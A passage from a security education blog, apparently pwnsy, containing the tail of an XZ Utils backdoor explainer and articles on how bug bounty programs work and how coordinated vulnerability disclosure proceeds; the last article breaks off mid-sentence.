unnoticed for another few months, the affected versions would have flowed into stable releases and into the base images that most container builds inherit, and the eventual population would have been most Linux servers running OpenSSH. Response was fast: distributions rolled back to 5.4.x within days, CISA published an alert, and detection scripts circulated for identifying affected binaries. ## What generalises **The artefact you ship must be the artefact you reviewed.** This is the same structural gap as [SolarWinds and SUNBURST](/solarwinds-sunburst-explained), reached by a different route. There the divergence happened on the build server; here it was baked into the release tarball. Reproducible builds and building from version control rather than from generated tarballs both close it, and both remain uncommon. **Trust in open source is trust in people, and people can be worked on.** Code review catches mistakes. It does not reliably catch a determined contributor who has spent two years earning the right to commit and who hides the payload where reviewers do not look. **Maintainer burnout is a supply chain vulnerability.** A critical library maintained by one unpaid person under stress is a security problem in the same register as an unpatched CVE. The attack used the handover process directly. Funding and staffing maintenance of widely used infrastructure is a security control, which is an unusual sentence and an accurate one. **Binary files in a repository deserve scrutiny.** Test fixtures, sample data, images and archives are the parts nobody reads, and they were the hiding place here. **Indirect linking creates surprising surfaces.** Nobody thought of a compression library as part of the authentication path. It got there through a distribution patch and a transitive dependency, which is exactly how [Log4Shell](/log4shell-explained) reached applications that never chose Log4j. ## The verdict A patient adversary spent two years acquiring the right to commit to a small library, hid the payload in files that looked like test data, activated it in the build rather than in the source, and reached the authentication path of every server on the distributions that shipped it. A developer noticed half a second of CPU time and the whole thing unravelled. The response is structural rather than heroic: build from version control, make builds reproducible so the artefact can be checked against the source, look at the binary blobs, and stop leaving critical infrastructure to one exhausted volunteer. ## Related guides - [SolarWinds and SUNBURST](/solarwinds-sunburst-explained) - [Log4Shell Explained](/log4shell-explained) - [Code Signing Explained](/code-signing-explained) - [What Is a Backdoor](/what-is-a-backdoor) - [Coordinated Vulnerability Disclosure Explained](/coordinated-vulnerability-disclosure-explained) ### Sources - CVE-2024-3094 detail (NIST National Vulnerability Database): https://nvd.nist.gov/vuln/detail/CVE-2024-3094 - Reported supply chain compromise affecting XZ Utils data compression library (CISA): https://www.cisa.gov/news-events/alerts/2024/03/29/reported-supply-chain-compromise-affecting-xz-utils-data-compression-library-cve-2024-3094 - backdoor in upstream xz/liblzma leading to ssh server compromise (oss-security mailing list): https://www.openwall.com/lists/oss-security/2024/03/29/4 - Debian Security Advisory and package rollback for xz-utils (Debian): https://lists.debian.org/debian-security-announce/2024/msg00057.html - Urgent security alert for Fedora Rawhide and Fedora Linux 40 beta (Red Hat): https://www.redhat.com/en/blog/urgent-security-alert-fedora-41-and-rawhide-users - SLSA: Supply-chain Levels for Software Artifacts (OpenSSF): https://slsa.dev/ --- ## The Bug Bounty Economy: Platforms, Triage & Payouts > How the bug bounty economy works: platforms, triage and payouts, VDPs versus paid programs, researcher incentives, and what bounties do and do not cover. - URL: https://blog.pwnsy.com/bug-bounty-economy-explained - Date: 2026-07-24 - Updated: 2026-07-24 - Difficulty: beginner - Category: threat-intel - Tags: bug-bounty, threat-intel, vulnerability-disclosure, vdp, security-research - Related: [Genesis Market Explained: The Bot Shop and Operation Cookie Monster](https://blog.pwnsy.com/genesis-market-explained), [How Dark Web Monitoring Works: Sources, Alerts and Limits](https://blog.pwnsy.com/how-dark-web-monitoring-works), [The Capital One Breach: SSRF, Metadata Credentials, 100 Million Records](https://blog.pwnsy.com/capital-one-breach-explained) ### TL;DR - A bug bounty program pays security researchers to find and report vulnerabilities, turning independent hackers into a paid extension of a company's security testing. - Platforms sit between researchers and organisations, handling program setup, submissions, triage, payments, and the reputation systems that make the market function. - A vulnerability disclosure program (VDP) provides a safe channel to report flaws without paying, while a paid bounty program offers cash rewards scaled to severity. - Bounties reward finding shallow-to-serious bugs at scale, but they do not replace deep testing, secure design, or the routine work of fixing what is found. ### Key Takeaways - Researchers submit vulnerabilities, a triage team validates and rates them, and valid reports pay out on a scale tied to severity, usually anchored to CVSS. - A VDP is a promise of safe harbour for good-faith reporting; a paid program adds financial rewards and typically a defined scope and rules of engagement. - Payouts are driven by severity, asset importance, report quality, and demand for a particular skill, so critical findings on core systems pay far more than low-severity ones. - Incentives cut both ways: bounties attract talent and continuous testing, but reward volume and can miss deep, architectural flaws that take weeks to find. - Bounties are one layer: they complement, and do not substitute for, secure development, internal testing, and a working remediation process. Somewhere in the world, a researcher is poking at a company's login page for fun. Twenty years ago, if they found a flaw and reported it, they risked a lawyer's letter for their trouble. Today that same researcher can get paid, publicly credited, and ranked on a leaderboard. The bug bounty economy is the system that made that shift possible, and it has quietly become one of the most effective ways large organisations find their own vulnerabilities. This guide explains how that economy actually works: the role of platforms, how triage and payouts happen, the difference between a disclosure program and a paid one, what motivates researchers, and where the model's limits are. It is about the mechanics of the market rather than how to start hunting bugs yourself. For that side, see [Bug Bounty: Getting Started](/bug-bounty-getting-started). ## What a bug bounty economy is A bug bounty program is a standing offer: find a security flaw in our systems, report it responsibly, and we will pay you. That offer converts the global pool of independent security researchers into a paid, on-demand extension of an organisation's own testing. Instead of relying only on a handful of internal staff and a periodic external test, the organisation gets many eyes on its systems continuously. The exchange is straightforward. The researcher gets money, recognition, and a legal safe harbour for good-faith testing. The organisation gets vulnerabilities reported to it privately, so they can be fixed before an attacker finds and abuses them. Both sides prefer this to the alternative, where the same flaw is discovered by someone with no interest in reporting it. This is a form of coordinated disclosure, the same principle covered in [Coordinated Vulnerability Disclosure Explained](/coordinated-vulnerability-disclosure-explained). ## How platforms make the market work Most programs run on a **platform** that sits between researchers and organisations. The platform is the market infrastructure, and it solves the problems that would otherwise make the exchange too messy to scale. A platform typically provides: - **Program setup and scope.** A clear statement of which assets are in scope, what testing is allowed, and what is off-limits, so researchers know the rules and the organisation limits its exposure. - **A submission pipeline.** A structured way to report a vulnerability with the evidence needed to reproduce it. - **Triage.** A validation layer, often staffed by the platform, that confirms a report is real, deduplicates it against existing findings, and assigns a severity. - **Payments.** Handling the payout to researchers across borders and currencies, which is a real logistical burden the platform absorbs. - **Reputation.** Points, rankings, and public credit that build a researcher's track record, which is a large part of what motivates participation. The reputation layer is easy to underrate. A researcher's standing is portable across programs and functions as a resume, which is why leaderboards and public credit matter as much as cash to many participants. ## Triage and payouts The path from submission to payment is where a program either builds or destroys researcher trust. When a researcher submits a report, a **triage** team reviews it. They confirm the vulnerability is genuine and reproducible, check that it is in scope, deduplicate it against reports already received, and assign a severity rating, usually anchored to [CVSS](/the-cve-system-explained). Only after this validation does the report become eligible for a reward. Payouts scale with several factors: | Factor | Effect on payout | |---|---| | Severity | A critical remote flaw pays far more than a low-severity one | | Asset importance | Bugs on core, sensitive systems pay more than peripheral ones | | Report quality | Clear, reproducible reports with impact demonstrated are rewarded | | Scarcity of skill | Findings that require rare expertise command premiums | Two rules of the road shape researcher behaviour. **Duplicates do not pay**, or pay only the first reporter, which rewards speed and originality. And **quality is currency**: a well-written report that clearly demonstrates impact triages faster and tends to be rated, and paid, more favourably than a vague one describing the same bug. The single biggest thing a researcher controls is report quality. A clear title, exact reproduction steps, and a concrete demonstration of impact move a report through triage quickly and argue for a higher severity. A brilliant finding buried in an unclear write-up often gets rated lower than it deserves. ## VDP versus paid program Two different things get lumped under "bug bounty", and the distinction matters. A **vulnerability disclosure program (VDP)** is a safe channel and a promise. It tells researchers: here is how to report a flaw to us, and we will not pursue legal action against good-faith testing. A VDP does not necessarily pay. Its value is having a front door for security reports and a public commitment to safe harbour. Many organisations should have a VDP even if they never pay a cent, and frameworks like the [OWASP Vulnerability Disclosure guidance](https://cheatsheetseries.owasp.org/cheatsheets/Vulnerability_Disclosure_Cheat_Sheet.html) and the [CISA disclosure process](https://www.cisa.gov/coordinated-vulnerability-disclosure-process) describe how to run one. A **paid bounty program** adds financial rewards on top of that channel, along with a defined scope, rules of engagement, and a reward table. It attracts more researchers and more continuous attention, and it costs money and operational effort to run well. The sensible progression for most organisations is to start with a VDP, get comfortable receiving and fixing external reports, and only then add paid bounties once there is a remediation process capable of keeping up. Opening a paid program before you can fix what comes in produces a backlog and a lot of frustrated researchers. ## Researcher incentives, and how they shape results Understanding what motivates researchers explains both the strengths and the blind spots of the model. Researchers are drawn by **money, reputation, learning, and the challenge itself**. Those incentives make bounties excellent at one thing: continuous, broad, motivated testing of a live target by many independent minds. That surfaces a large volume of real bugs that internal teams miss, and it does so around the clock. The same incentives create predictable gaps. Because duplicates do not pay and time is money, researchers gravitate toward bugs that are relatively fast to find and clearly rewardable. Deep, architectural flaws that take weeks of study and might turn out to be out of scope, or might be a duplicate, are economically unattractive to a bounty hunter even when they are the most dangerous flaws a system has. The market rewards volume and speed, and that shapes what gets found. A bug bounty tells you what motivated outsiders can find quickly on your live systems. It does not tell you about design flaws that need deep review, or about the vulnerabilities that are already being exploited in the wild. Our Exploit Intelligence dashboard covers that second question, tracking which vulnerabilities are actually under active attack, so you can see where bounty coverage ends and real-world pressure begins. ## What bug bounties do and do not cover It helps to be plain about the boundaries, because bounties are often oversold as a complete security strategy. **What they do well:** - Provide continuous, incentivised testing by a large and diverse group. - Surface a high volume of real, exploitable bugs on live systems. - Give researchers a legal, paid alternative to selling or sitting on a flaw. - Improve over time as the program matures and the easy bugs get cleared out. **What they do not do:** - Replace secure design and secure development. A bounty finds flaws after they ship; it does not stop them shipping. - Replace deep internal and specialist testing for architectural and business-logic weaknesses. - Fix anything. A bounty finds vulnerabilities; your team still has to remediate them, and a program is only as good as the remediation behind it. - Cover what is already being exploited. That is threat intelligence, a different discipline. The practical way to use bounties is as one layer in a program that also includes secure development, internal testing, and a functioning fix pipeline. 1. **Start with a VDP** so good-faith reports have a safe home. 2. **Build remediation capacity** before you add money, so reports get fixed rather than queued. 3. **Scope tightly, then expand.** Start with a limited scope you can handle and grow it as the program matures. 4. **Treat report quality as the shared interest** it is, and reward it, because it makes the whole system faster for everyone. ## The life of a report, start to finish Following a single submission through a mature program shows where the value and the friction actually sit. It begins with discovery. A researcher probing an in-scope asset notices that a request behaves in a way the developers did not intend, confirms it is reproducible, and works out what an attacker could achieve with it. That last step, establishing impact, is what separates a curiosity from a finding worth paying for. Next comes the write-up. The researcher documents the exact steps to reproduce, the affected asset, and a concrete demonstration of what the flaw allows. A good report reads like a recipe a triager can follow without guesswork. This is the single stage the researcher controls most directly, and it shapes everything that follows. The report then enters triage. A triager confirms the vulnerability is genuine, checks it against the program's scope, and searches existing submissions to see whether someone already reported the same thing. If it is a duplicate, the later report usually earns nothing, which is why speed and originality carry real economic weight. If it is valid and new, the triager assigns a severity, typically anchored to CVSS, and the report becomes eligible for a reward. Then the organisation decides the payout. The severity, the importance of the affected asset, and the quality of the report all feed the number. A critical flaw on a core system with a clear demonstration of impact sits at the top of the reward table. A low-severity issue on a peripheral asset sits near the bottom. The reward table published with the program sets the expectations, and disputes over severity are one of the most common sources of friction between researchers and programs. Finally the flaw is fixed and, in many programs, disclosed. The organisation remediates, the researcher may be credited publicly, and in coordinated-disclosure programs the details are published once a fix is available. The reputation the researcher earns from a well-handled report is portable, feeding the leaderboards and track record that make the market function. The whole cycle only works if the remediation step actually happens, which is why a program without the capacity to fix what it receives fails no matter how much it pays. ## Detection signals of a healthy or failing program A program's health shows in a handful of observable signals, and both organisations and researchers watch them. - **Time to triage.** How quickly a submission moves from received to validated is the clearest signal of a functioning program. Long silences push researchers toward programs that respond, draining the attention a program depends on. - **Time to resolution.** A growing gap between valid reports and fixes means remediation cannot keep up with intake. That backlog is the classic sign of a program that added paid bounties before it could handle the volume. - **Duplicate rate.** A high share of duplicates signals either an obvious unpatched issue or unclear scope, and it frustrates researchers who invested time for no reward. - **Reward consistency.** Payouts that track the published table build trust. Frequent downgrades or disputes over severity signal a program trying to pay less than its own rules imply, and researchers talk to each other about it. - **Scope clarity.** A precise, current scope statement keeps effort pointed at assets the organisation actually wants tested. A vague or stale scope produces wasted work and out-of-scope arguments. - **Researcher retention.** The strongest signal of all is whether skilled researchers come back. A program that treats reports well and pays fairly builds a returning population that knows its systems, which is worth more than a churn of one-time submitters. ## VDP and paid program compared | Property | VDP | Paid bounty program | |---|---|---| | Pays for findings | No | Yes, on a severity scale | | Legal safe harbour | Yes | Yes | | Defined scope and rules | Often lighter | Detailed and enforced | | Operational cost | Lower | Higher, including payouts and triage | | Volume of submissions | Lower | Higher | | Right first step for most | Yes | After remediation is ready | The table makes the progression obvious. A VDP is the front door every organisation should have, because good-faith reports arrive whether or not you invited them, and a safe channel is cheap. A paid program layers financial incentive on top and pulls far more attention, which is valuable only once the organisation can fix what the attention surfaces. ## Common misconceptions **"A bug bounty replaces a penetration test."** They answer different questions. A bounty tells you what motivated outsiders can find quickly on live systems over time. A penetration test is a scoped, time-boxed engagement that can dig into architecture and business logic in ways the bounty economics discourage. Mature programs use both. **"Running a bounty means we are secure."** A bounty finds flaws after they ship. It does nothing to stop them shipping, and it fixes nothing on its own. Security comes from secure development, internal testing, and a working remediation pipeline, with the bounty as one layer that catches what those miss. **"More reports is always better."** Volume without remediation capacity produces a backlog and a reputation for ignoring researchers. A program that cannot fix what it receives is worse off than one with a narrow scope it can actually handle. **"The biggest payouts go to the cleverest bugs."** Payouts track severity, asset importance, and report quality. A clearly demonstrated critical flaw on a core system pays more than an ingenious but low-impact finding. Impact and clarity move the number more than cleverness does. **"Bounties cover what attackers are actually using."** They surface what researchers can find, which is not the same as what is being exploited in the wild right now. That is threat intelligence, a separate discipline, and conflating the two leaves a blind spot. ## How the model developed The bug bounty economy grew out of a shift in how organisations treated the people who found their flaws. For years, reporting a vulnerability to a company carried real legal risk, and researchers who disclosed in good faith could face threats rather than thanks. That environment pushed findings underground, where they were sold, sat on, or released publicly without warning. The first move was the vulnerability disclosure program, a public promise of safe harbour and a defined channel for reports. It reframed the researcher from a suspect into a contributor and gave organisations a front door for the reports that were arriving anyway. Paid programs followed, adding financial reward to the safe channel and turning sporadic goodwill into continuous, incentivised testing. Platforms then industrialised the model. By handling scope, submission, triage, cross-border payment, and reputation, they removed the operational friction that had kept bounties rare, and they made a researcher's track record portable across programs. Coordinated disclosure frameworks from bodies such as CISA and guidance from OWASP standardised the expectations on both sides. The result is a market where curiosity that once carried legal risk now carries a payout and a public credit, and where the same flaw that might have been sold gets reported and fixed instead. ## Scope and rules of engagement The scope statement is the contract that keeps the market orderly, and it is worth understanding on its own. Scope lists which assets a researcher may test, from specific domains and applications to particular product lines, and it marks what is out of bounds. Rules of engagement then set the boundaries of behaviour: whether automated scanning is allowed, how much traffic is acceptable, whether social engineering or physical testing is permitted, and how to handle any real user data encountered. These rules protect both sides. For the organisation, a tight scope limits exposure and keeps testing away from fragile production systems that could be disrupted. For the researcher, a clear scope is the difference between protected good-faith work and activity that falls outside the safe-harbour promise. A finding on an out-of-scope asset often earns nothing and, worse, may not carry legal protection, so reading the scope before starting is not a formality. Scope also shapes the economics of the whole program. A scope that is too narrow starves the program of the attention it needs, while one that is too broad invites reports on assets the organisation is not ready to defend or fix. The common pattern is to start with a scope the remediation team can handle and widen it as the program matures, which keeps intake and fix capacity roughly in balance. The scope and rules of engagement decide whether your testing is protected work or an unprotected liability. A finding outside scope frequently pays nothing and may forfeit the safe-harbour promise entirely. Spend the first few minutes on a new program reading exactly which assets are in bounds and what testing is allowed, then stay inside those lines. ## Frequently asked questions **How much do bug bounties actually pay?** It varies enormously with severity, the importance of the affected asset, and report quality. A low-severity issue on a peripheral system might earn a token reward, while a critical flaw on a core system with a clear demonstration of impact can pay far more. Each program publishes a reward table that sets the range, and the scarcity of the skill involved pushes the top end higher. **Is a bug bounty program cheaper than hiring security staff?** It is a different kind of spend rather than a replacement. Bounties pay for results on live systems from a large, diverse pool, which is cost-effective for continuous broad testing. They do not replace the internal staff who design securely, run deep testing, and remediate what the bounty finds. Most organisations run bounties alongside a security team, not instead of one. **What is the difference between a VDP and a bug bounty?** A vulnerability disclosure program is a safe channel and a legal safe-harbour promise for good-faith reporting, and it does not necessarily pay. A paid bounty program adds financial rewards, a defined scope, and rules of engagement on top of that channel. The sensible order is a VDP first, then paid bounties once remediation can keep pace. **Why do duplicates not get paid?** A program pays to learn about a flaw it did not already know. Once the first valid report of an issue arrives, later reports of the same issue teach the organisation nothing new, so they usually earn nothing or only a fraction. This rewards speed and originality, and it is also why researchers value fast triage that confirms a find before someone else submits it. **Can a bug bounty program hurt an organisation?** It can, if it is launched before the organisation can remediate what comes in. A paid program pulls a high volume of reports, and without the capacity to fix them the result is a backlog, frustrated researchers, and a public reputation for ignoring disclosures. Building remediation capacity before adding money is the way to avoid that. **Do researchers need permission to test?** Yes, and that is what scope and rules of engagement define. A program's scope lists which assets are in bounds and what testing is allowed, and the safe-harbour promise applies to good-faith work within those limits. Testing outside scope loses that protection, which is why reading the program terms before starting is essential. **How does report quality affect the outcome?** It affects both speed and reward. A clear title, exact reproduction steps, and a concrete demonstration of impact let a triager validate the report quickly and argue for a higher severity. A vague write-up of the same underlying bug triages slowly and tends to be rated lower. Report quality is the single biggest lever a researcher controls. The bug bounty economy works because it aligns incentives that used to be in conflict. Researchers get paid for curiosity, organisations get their flaws before attackers do, and the flaw gets fixed instead of sold. Use it for what it is good at, keep it inside a broader program, and it becomes one of the most cost-effective security investments available. ## Related guides - [Bug Bounty: Getting Started](/bug-bounty-getting-started) - [Coordinated Vulnerability Disclosure Explained](/coordinated-vulnerability-disclosure-explained) - [The Exploit Market Explained](/the-exploit-market-explained) - [The CVE System Explained](/the-cve-system-explained) - [OWASP Top 10 Explained](/owasp-top-10-explained) ### Sources - MITRE ATT&CK: Coordinated Disclosure and Vulnerability Reporting Context (MITRE): https://attack.mitre.org/resources/ - CISA: Coordinated Vulnerability Disclosure Process (CISA): https://www.cisa.gov/coordinated-vulnerability-disclosure-process - OWASP: Vulnerability Disclosure Cheat Sheet (OWASP): https://cheatsheetseries.owasp.org/cheatsheets/Vulnerability_Disclosure_Cheat_Sheet.html --- ## Coordinated Vulnerability Disclosure: From Finding to Fix > How responsible disclosure works: researcher to vendor to patch to publication, disclosure timelines, embargoes, and the full-disclosure debate. - URL: https://blog.pwnsy.com/coordinated-vulnerability-disclosure-explained - Date: 2026-07-24 - Updated: 2026-07-24 - Difficulty: beginner - Category: threat-intel - Tags: disclosure, bug-bounty, threat-intel, vulnerability-management, cve - Related: [Genesis Market Explained: The Bot Shop and Operation Cookie Monster](https://blog.pwnsy.com/genesis-market-explained), [How Dark Web Monitoring Works: Sources, Alerts and Limits](https://blog.pwnsy.com/how-dark-web-monitoring-works), [The Capital One Breach: SSRF, Metadata Credentials, 100 Million Records](https://blog.pwnsy.com/capital-one-breach-explained) ### TL;DR - Coordinated vulnerability disclosure is the process of privately reporting a flaw to the vendor, giving them time to fix it, and then publishing details once a patch exists. - The usual flow is discovery, private report, vendor triage and fix, CVE assignment, then coordinated public disclosure, often on an agreed timeline. - Embargoes hold details quiet until a patch ships. Disclosure deadlines exist so a stalled vendor cannot leave users exposed indefinitely. - Full disclosure and coordinated disclosure sit at two ends of a long-running debate about how much pressure to put on vendors and how much risk to accept. ### Key Takeaways - Coordinated disclosure balances two harms: the risk of publishing before a fix and the risk of a vendor sitting on a flaw forever. - A CVE ID is often reserved early and held quiet during the embargo, so everyone has a shared reference before details go public. - Common disclosure windows run around 90 days from report to publication, with extensions negotiated when a fix is genuinely in progress. - Full disclosure means publishing everything immediately; it maximises pressure and user awareness but can hand attackers a working exploit before a patch exists. - Bug bounty programs formalise disclosure by paying researchers through a managed channel, which raises report quality and keeps findings inside a coordinated process. Someone finds a serious flaw in software that millions of people run. What happens next decides whether the flaw gets quietly fixed or turns into a headline breach. That sequence of steps, from a researcher's discovery to a public advisory, is what coordinated vulnerability disclosure governs. Coordinated vulnerability disclosure, sometimes called responsible disclosure, is the practice of reporting a vulnerability privately to the party who can fix it, giving them a reasonable window to ship a patch, and then publishing the details so defenders can protect themselves. Done well, it gets flaws fixed before attackers pile in. Done badly, users stay exposed while a report gathers dust or details leak too early. ## The core tension Every disclosure decision balances two harms. Publish too early, before a patch exists, and you hand attackers a roadmap while users have no way to defend themselves. Publish too late, or never, and a flaw the vendor knows about sits unfixed while the same users stay exposed to anyone who independently finds it. Attackers are not the only people who discover vulnerabilities, and secrecy protects no one once a flaw is being exploited quietly. Coordinated disclosure is the negotiated middle. Report privately, fix quietly, publish once users can act. The whole framework is machinery for holding that balance under pressure from both sides. ## The standard flow A coordinated disclosure typically moves through these stages. | Stage | What happens | |---|---| | Discovery | A researcher finds and confirms the vulnerability | | Private report | The flaw is reported to the vendor through a security contact | | Triage | The vendor validates the report and assesses severity | | CVE reservation | A CVE ID is reserved, often held quiet during the embargo | | Remediation | The vendor develops and tests a fix | | Coordinated publication | Patch ships and details are published together | The report needs somewhere to land. Mature vendors publish a security contact or a `security.txt` file, and many run a formal program. When there is no obvious contact, national coordinators such as a CERT can act as a neutral go-between, relaying the report and mediating the timeline. Getting the CVE reserved early matters because it gives everyone a shared reference before anything is public. The [CVE record](/the-cve-system-explained) sits in a reserved state, an ID with no details, until the embargo lifts. ## Timelines and embargoes An embargo is the agreement to keep details private until an agreed moment, normally when the patch is available. During the embargo the researcher holds their findings, the vendor builds the fix, and the reserved CVE stays blank. Timelines exist to keep an embargo from becoming indefinite. A common industry norm is a window of around 90 days from report to publication, with the understanding that a vendor making genuine progress can negotiate an extension, and that a fix which ships early can move publication up. The deadline is the lever that stops a report from being ignored. Without one, a vendor could keep a flaw embargoed forever while users stay at risk. A disclosure deadline is not hostility toward vendors. It exists because the alternative, an open-ended embargo, leaves users exposed to a known flaw with no end date. The clock keeps remediation honest and gives everyone a shared target to work toward. ## The full-disclosure debate Not everyone agrees on how much patience vendors deserve. The disagreement has a long history and two poles. **Full disclosure** means publishing complete details, sometimes including working exploit code, immediately and publicly, with little or no private notice. Its advocates argue that it maximises pressure on vendors to fix fast, that it lets defenders take action at once, and that a flaw the researcher found can be found by attackers too, so secrecy offers false comfort. The cost is real: full disclosure can hand attackers a ready weapon before any patch exists. **Coordinated disclosure** accepts a delay in exchange for a patch being ready when details land. Its critics point out that it depends on vendors acting in good faith, and that a slow or dismissive vendor can drag out the window while users wait. Most of the industry has settled near coordinated disclosure with a firm deadline, which borrows the discipline of full disclosure's clock while keeping the safety of a patch-first release. A vulnerability that ends up exploited before any fix exists is a [zero-day](/zero-day-vulnerabilities), which is exactly the outcome coordinated disclosure tries to avoid. If you find a reserved CVE with no details during an active disclosure, that is the embargo working. The ID is public so everyone can reference the coming fix, while the specifics stay private until users can patch. Do not read an empty record as a mistake. ## Where bug bounties fit Bug bounty programs formalise the front of this process. A vendor publishes a scope, a set of rules, and a reward schedule, and researchers submit findings through a managed channel, often run on a dedicated platform. Bounties do a few useful things at once. They give researchers a clear, safe, and paid route to report, which pulls findings into a coordinated process instead of the open web. They provide legal comfort through safe-harbour language, so good-faith research is not treated as an attack. And by attaching a reward, they raise the volume and quality of reports a vendor receives. The broader economics of who pays for vulnerabilities, and how that market shapes disclosure, is its own topic, covered in [The Bug Bounty Economy](/bug-bounty-economy-explained) and [The Exploit Market](/the-exploit-market-explained). A bounty is one funnel into coordinated disclosure, not a replacement for it. The triage, the CVE, the embargo, and the coordinated publication still follow the same path once a valid report arrives. ## How to handle disclosure well For anyone reporting a flaw: 1. **Find the right channel first.** Look for a security contact, a `security.txt`, or a bounty program before anything else. Use a CERT coordinator when no contact exists. 2. **Report clearly and privately.** A reproducible write-up with impact and steps helps the vendor fix faster and keeps the process coordinated. 3. **Agree a timeline in writing.** Set an expected disclosure date up front so both sides share the same clock. 4. **Hold the embargo, but keep the deadline.** Give a good-faith vendor room to extend when a fix is real, and publish when the window closes if it is not. For vendors and defenders: 1. **Publish a way to be reached.** A missing security contact is the most common reason disclosure goes wrong. 2. **Triage fast and communicate.** Silence is what pushes researchers toward full disclosure. 3. **Ship the patch and the advisory together**, with the CVE, so users can act the moment details go public. Once a flaw is public, the question becomes whether it is being exploited. Our Exploit Intelligence dashboard joins live CVE, CVSS, EPSS and CISA KEV data, including the time from publication to confirmed exploitation, so you can see how quickly attackers move on freshly disclosed vulnerabilities. ## A walkthrough of a disclosure from both sides The process is easier to hold in mind as a story told from two chairs at once, the researcher's and the vendor's, because the friction usually comes from a mismatch between them. A researcher finds a flaw while testing a product. Their first job is to confirm it is real and to understand its impact, because a vague or unreproducible report wastes everyone's time and may be dismissed. They write up the steps to reproduce, the conditions required, and what an attacker gains. Then they look for somewhere to send it. On the vendor's side, the report lands in an inbox or a program queue. The first task is triage: is this real, is it in scope, how severe is it, and does it duplicate something already known. A good triage reply within a day or two tells the researcher they were heard, which is the single most effective thing a vendor can do to keep the process cooperative. Silence, by contrast, is what pushes a frustrated researcher toward publishing early. Once the vendor confirms the flaw, both sides agree on a timeline. The vendor reserves a CVE identifier so there is a shared reference, and it stays in a reserved state with no details while the fix is built. The researcher holds their write-up during this embargo. If the fix is complex, the vendor may ask for an extension, and a researcher acting in good faith usually grants it when real progress is visible. The fix ships. Ideally the patch, the advisory, and the now-populated CVE record all become public together, so defenders learn about the flaw at the same moment they gain the means to close it. The researcher publishes their write-up, often with credit, and the record moves from reserved to fully described. When the sequence works, the first time most users hear of the flaw is when a patch is already waiting for them. ## Detection and coordination signals Coordinated disclosure leaves observable traces, and knowing how to read them helps a defender act on the right timing rather than the loudest one. The first signal is a reserved CVE with no details. This is the embargo working as intended. An identifier exists so everyone can reference the coming fix, while the specifics stay private until a patch is available. A blank record during an active disclosure is a sign of coordination, not an error to report. The second signal is a vendor advisory published alongside a patch. This is the payoff moment, and it is the cue to prioritise patching. An advisory that arrives with a fix, a CVE, and a clear severity rating gives you everything needed to act. The third signal is a public proof-of-concept or exploit appearing shortly after disclosure. Once details are out, working exploit code often follows within days, which compresses the time you have to patch. Watching for exploit availability, not just the advisory, tells you how urgent a given flaw has become. The fourth signal is a flaw disclosed with no patch available, sometimes because a deadline expired on an unresponsive vendor. This is the case that demands compensating controls, since patching is not yet an option and attackers now have the same information you do. Two advisories with the same severity can demand very different responses depending on where they sit in the disclosure cycle. A flaw published with a patch is a routine prioritisation. The same flaw published without a patch, or already paired with public exploit code, is an emergency. Track the state of the fix and the availability of an exploit, not only the score. ## Coordinated disclosure compared to the alternatives Coordinated disclosure is one point on a spectrum of how a finding can reach the public. Seeing the options side by side clarifies the trade-offs each one makes. | Approach | When details go public | Pressure on vendor | Risk to users | |---|---|---|---| | Private disclosure only | Never, or only to the vendor | Low | Flaw may sit unfixed indefinitely | | Coordinated disclosure | After a patch, on an agreed timeline | Moderate, backed by a deadline | Low when the process holds | | Coordinated with a firm deadline | At the deadline whether or not a fix ships | High | Low to moderate, users may briefly lack a patch | | Full disclosure | Immediately, often with exploit code | Maximum | High, attackers get a weapon before a patch | Most of the industry has settled near coordinated disclosure with a firm deadline, because it borrows the discipline of full disclosure's clock while keeping the safety of a patch-first release. Pure private disclosure with no deadline gives a vendor no reason to hurry, and pure full disclosure hands attackers a working exploit before users can protect themselves. The deadline is the mechanism that keeps the middle ground honest. ## Common misconceptions Several beliefs about disclosure lead people to misread the process or behave badly within it. The first is that responsible disclosure means the researcher must stay quiet forever if the vendor asks. It does not. The whole point of a deadline is that the embargo has an end. A vendor cannot demand indefinite silence, because that would leave users exposed to a known flaw with no resolution. The second is that a deadline is an act of hostility toward the vendor. The deadline exists to protect users, not to punish anyone. The alternative, an open-ended embargo, means a stalled or dismissive vendor can keep a flaw quiet while the risk to users continues. The clock keeps remediation moving. The third is that a CVE identifier means a flaw is confirmed and serious. A reserved CVE is only a placeholder. It becomes meaningful when the record is populated with details and a severity assessment. An identifier by itself says nothing about whether the flaw is real or how bad it is. The fourth is that a bug bounty replaces coordinated disclosure. A bounty is a funnel into the process, a managed and paid channel that raises report quality, and the triage, the CVE, the embargo, and the coordinated publication still follow the same path once a valid report arrives. The fifth is that finding no exploit in the wild means a disclosed flaw is not urgent. Exploitation often follows disclosure rather than preceding it, because public details and proof-of-concept code lower the bar for attackers. A freshly disclosed flaw can move from theoretical to actively exploited quickly, which is why the window right after publication matters. ## Harder cases: multi-party and supply-chain disclosure The clean story of one researcher and one vendor describes the simple case. Many real disclosures are harder because the flaw does not belong to a single party. A vulnerability in a widely used open-source library affects every product that ships it, sometimes hundreds of downstream vendors who each need time to pull the fix, rebuild, and release. Disclosing to the library maintainer alone is not enough, because the fix has to propagate through a long chain before users are protected. Coordinating this is a real logistical problem, and it is where a neutral coordinator such as a CERT earns its place, quietly notifying affected downstream vendors under embargo so they can prepare updates in parallel and ship close together. Hardware and firmware flaws stretch the timeline further. A flaw in a processor or a networking chip can take many months to fix, because mitigations may require microcode changes, firmware updates from multiple manufacturers, and in some cases changes to operating systems that run on the affected hardware. Embargo periods for this class run far longer than the usual software window, precisely because the fix has to move through many hands before a user can apply it. These cases sharpen why coordination exists at all. With a single vendor, a researcher could in principle just wait or just publish. With a supply chain of dozens of dependent products, uncoordinated disclosure would leave most of them exposed while a few patched, and attackers would target the laggards. The coordinator's job is to synchronise the release so the whole ecosystem moves at once rather than in a ragged line that attackers can pick apart. When a flaw sits in a shared component, a patch from the original maintainer only starts the clock for everyone downstream. Products that bundle the component stay vulnerable until each one rebuilds and ships its own update. If you depend on a library that was just patched, check every product in your stack that includes it, rather than assuming the upstream fix reached you automatically. ## Frequently asked questions **What is the difference between responsible disclosure and coordinated disclosure?** They describe the same practice, and coordinated disclosure is the preferred term. Reporting privately, giving the vendor time to fix, and publishing once users can act is the core of both. Some people avoid responsible disclosure because the word responsible implies that any other choice is irresponsible, which is a value judgment the neutral term coordinated disclosure sidesteps. **Why reserve a CVE before the details are public?** So everyone shares a single reference for the flaw before it is described. During the embargo the identifier exists in a reserved state with no details, which lets vendors, researchers, and coordinators discuss the coming fix without leaking specifics. When the patch ships, the record is populated and the identifier already means the same thing to everyone. **What happens when a vendor ignores a report?** The disclosure deadline is the answer. If a vendor does not respond or does not fix the flaw within the agreed window, the researcher may publish anyway, on the principle that users deserve to know about a risk that affects 